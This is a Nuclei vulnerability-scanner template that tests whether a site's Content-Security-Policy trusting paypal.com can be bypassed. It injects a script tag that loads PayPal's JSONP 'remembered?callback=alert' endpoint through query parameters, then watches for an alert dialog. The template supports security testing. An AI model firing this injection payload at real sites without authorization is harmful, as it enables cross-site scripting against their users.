id: paypal-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - PayPal API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,paypal-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "paypal.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: paypal_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <script src="https://www.paypal.com/checkoutnow/remembered?callback=alert"></script>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "paypal_api_csp_xss == true"
# digest: 4a0a004730450220583780ebfa821b15ae39efdc23eb79aad11b232f2bed32b52cdfafca93229410022100ba3ef945a308a318d556ac09bd0b1d0d33c9200bd5c3bb121fb9b31389e4be3f:922c64590222798bb761d5b6d8e72950